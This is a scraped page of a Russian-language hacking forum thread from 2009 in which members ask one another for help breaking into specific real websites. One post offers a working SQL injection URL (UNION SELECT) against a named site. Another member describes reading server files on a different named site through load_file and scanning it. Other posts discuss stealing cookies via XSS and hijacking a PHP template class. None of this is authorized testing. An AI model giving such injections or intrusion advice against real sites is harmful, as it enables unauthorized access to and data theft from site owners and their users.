HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 940 из 2438 « Первая < 440840890930 936 937 938 939 940 941 942 943 944 950990104014401940 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #9391  
Старый 15.10.2009, 22:08
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию
Цитата:
Сообщение от kote_otake  
сайт не юзает XSS
что то новое
 
Ответить с цитированием

  #9392  
Старый 15.10.2009, 22:41
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
Цитата:
Я конечно, ламер, но можно вопрос?
Если сайт не юзает XSS, то можно сташить куки через сниффер?
Или это невозможно?
можно, но для этого нужо какимто образом заставить жертву ввести скрипт в адресную строку.
 
Ответить с цитированием

  #9393  
Старый 15.10.2009, 22:51
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию
http://armatula.ru/index.php?id=73'
Раскручиваемо?
 
Ответить с цитированием

  #9394  
Старый 15.10.2009, 23:05
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
Провел на форуме:
4075418

Репутация: 386
По умолчанию
раскручиваемо:
http://armatula.ru/index.php?id=-73'+union+select+version(),2,3+--+
 
Ответить с цитированием

  #9395  
Старый 15.10.2009, 23:57
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
есть сайт http://danielbrowninc.com/story_preview.php
вылазит ошибка /www/danielbrowninc.com/includes/functions.inc

иду на http://danielbrowninc.com/includes/ или на http://danielbrowninc.com/includes/functions.inc
вылазит 404 ошибка! как такое могет быть?
 
Ответить с цитированием

  #9396  
Старый 16.10.2009, 00:04
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
не! физически файл существуеть! я его через load_file читаю

Add: Пошел pelmeshk0 сканить
Последний раз редактировалось Rubaka; 16.10.2009 в 00:49.. Причина: добавил!
 
Ответить с цитированием

  #9397  
Старый 16.10.2009, 00:06
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию
сайт может быть в папке html к примеру
/www/danielbrowninc.com/html/
поэтому доступа к папке инклудес нет из веба
 
Ответить с цитированием

  #9398  
Старый 16.10.2009, 00:49
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию
насканил:все защищено .htaccess-ами
и их через лоад файл не прочитать ((((((((

придеться шонить другое искать
 
Ответить с цитированием

  #9399  
Старый 16.10.2009, 06:27
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию
Цитата:
Сообщение от Rubaka  
насканил:все защищено .htaccess-ами
и их через лоад файл не прочитать ((((((((

придеться шонить другое искать
Возможно просто в твоём functions.inc проверка, если инклюд > Выполняем.
Если не инклюд тупо.
PHP код:
header("HTTP/1.0 404 Not Found") or die(); 
 
Ответить с цитированием

  #9400  
Старый 16.10.2009, 10:52
Rezak
Новичок
Регистрация: 25.01.2008
Сообщений: 5
Провел на форуме:
9419

Репутация: 2
По умолчанию
Есть такой скрипт
PHP код:
<?php
session_start();

$template->set_filenames(array('head'=>"$template_path/header.html"));

$template->pparse('head');

?>
Реально череp параметры переопределить класс template, ну и заставить скрипт делать что-то свое?
 
Ответить с цитированием
Ответ
Страница 940 из 2438 « Первая < 440840890930 936 937 938 939 940 941 942 943 944 950990104014401940 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ